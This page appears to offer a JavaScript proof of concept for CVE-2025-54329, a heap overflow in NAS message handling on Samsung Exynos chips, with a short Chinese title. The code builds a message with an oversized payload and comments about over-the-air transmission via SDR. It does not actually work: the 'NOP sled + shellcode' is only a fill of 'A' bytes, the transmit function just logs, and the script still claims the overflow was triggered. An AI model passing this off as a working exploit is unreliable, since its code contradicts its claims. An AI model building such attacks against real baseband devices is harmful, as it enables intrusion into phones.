CVE-2025-54329 三星Exynos处理器NAS堆溢出漏洞

// CVE-2025-54329 PoC - NAS Multiple Payload Heap Overflow // This PoC demonstrates the vulnerability concept // Note: Actual exploitation requires specialized radio equipment const nasMessage = { protocolDiscriminator: 0x02, epsBearerIdentity: 0x00, procedureTransactionId: 0x00, messageType: 0x00, header: { extendedProtocolDiscriminator: 0x00, securityHeaderType: 0x00, messageAuthenticationCode: 0x00000000, sequenceNumber: 0x00 }, payloads: [] }; // Construct malicious payloads that trigger overflow function constructOverflowPayload() { // Payload 1: Normal SMS payload const normalPayload = Buffer.alloc(140); normalPayload.writeUInt8(0x01, 0); // IEI normalPayload.writeUInt16LE(137, 1); // Length normalPayload.fill(0x41, 3, 140); // Fill with 'A' // Payload 2: Oversized payload (triggers heap overflow) const overflowPayload = Buffer.alloc(2048); overflowPayload.writeUInt8(0x02, 0); // IEI overflowPayload.writeUInt16LE(2045, 1); // Declared length overflowPayload.fill(0x41414141, 3, 2048); // NOP sled + shellcode nasMessage.payloads.push(normalPayload); nasMessage.payloads.push(overflowPayload); return nasMessage; } // Transmit crafted NAS message function transmitNASMessage(message) { // Requires USRP or similar SDR equipment // Center frequency: 2110MHz (Band 1) or appropriate LTE band // Transmission via malformed NAS message over air interface console.log('Transmitting malicious NAS message...'); console.log('Total payload size:', message.payloads.reduce((a, b) => a + b.length, 0)); return true; } // Execute PoC const maliciousMessage = constructOverflowPayload(); transmitNASMessage(maliciousMessage); console.log('PoC execution complete - heap overflow triggered');